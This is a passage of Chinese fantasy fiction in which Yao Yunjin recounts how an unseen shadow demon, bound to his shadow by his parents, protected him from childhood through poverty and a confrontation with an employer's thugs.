“是的,小时的我还不知道它的存在,后来,我家道中落,经历了乞讨、零工、战乱、白手起家又被土匪抢劫等事情,我的人生大起大落,但我一直很平安。
“无意中的机会,我知道有个人一直在保护自己,我很想感谢他,一直在寻找他,兜兜转转大半生,却发现他被困在我影子里。
“我一直在想办法把他从我影子里释放出来,但我没办法……
“除非我死。”
“不过,我马上就要死了。”姚云锦抬起头,微笑道。
…………
小时,姚云锦活在家人的保护与祝福里,爹娘疼爱他,耗费巨资与心力为他寻来一只影妖。
“娘的锦儿,要一辈子平平安安的。”温柔的女声对他说。
姚云锦什么都不知道,只知道自己很幸福,他嘻嘻笑着看向周围的人,突然察觉一道视线,扭头去寻,却怎么都没寻到。
他喜欢到处玩耍,一次,他不小心撞向爹的书架,上面的古董眼见着就要落下,四周已经响起侍女的尖叫,却在一瞬间,他看见那古董停在自己头顶,然后被一股力打向其他方向。
他还没回过神,已经被侍女抱在怀里,抱出了书房。
他听见侍女在哭,也感受得到对方颤抖的身体,他却一脸茫然,觉得不可思议,又觉得……也许是自己眼花了。
后来,家道中落,官府将他家抄了,爹入了狱,娘因病过世,家里一众仆从皆散了。
从小富养长大的他,一时拿不出任何技艺去活,只能沦为乞丐。
那段日子极为痛苦,他连乞讨都不会,好不容易得来的馒头又要被其他乞丐夺去。
他清晰地记得那次,一个长得很凶的乞丐要他交出“保护费”,他没有,对方便带着数个乞丐揍他。
在他被围殴时,一道淡色的结界将他保护住,将冲来的乞丐都震开。
他想起来小时候的一次次事件,越发觉得有一个人在暗中保护着自己。
乞丐被吓走了,纷纷骂他是妖怪,以后也没再欺负他。
但姚云锦不想当乞丐了,他知道有个人在看着他,他没好意思继续这样颓废下去,于是到处去找工作,短工长工都做过。
在这过程中他难免碰壁,他与雇主索要对方拖欠的工钱时,被对方恶狠狠推开,眼见着后脑勺就要撞在桌角上,一股力将他扶住。
姚云锦下意识左右看了一眼,心中有了些底气,继续与雇主纠缠。
雇主烦不甚烦,气极之中竟叫来隔壁屋里的几个打手,那些人各个长得剽悍,手里握着长刀,一脸凶相。
姚云锦害怕了,他不知道暗中保护他的人能不能打过他们,他刚想求饶,说那些工钱他不要了,对方却先一步冲了上来。
砰!
姚云锦吓得闭起眼睛,却听见有重物砸出去的声音,微微睁眼一看,惊了。
那些一看就不好惹的打手竟在瞬间被甩飞出去,狠狠撞在墙上,那些长刀插在地面,刀身还在震颤着,发出嗡鸣。
好……好厉害!
姚云锦半天说不出话来,最后还是雇主将工钱给他,一脸谄媚地将他送出门。
握着钱袋子,姚云锦依旧觉得不真实,他看向四周,看向杂乱的居民住所,突然喊:“谢谢你!”
没有人回应他,四周一片空寂,只有远远的,居民房里的争吵声。
姚云锦又喊:“谢谢你,你叫什么名字啊?”
依旧没人回应他。
姚云锦直觉对方就在自己身边,肯定还在看着自己,但不理解为什么对方不回答,为什么要默默保护自己。
想了半天理不出思绪,他朝着空气笑笑,道:“还是谢谢你。”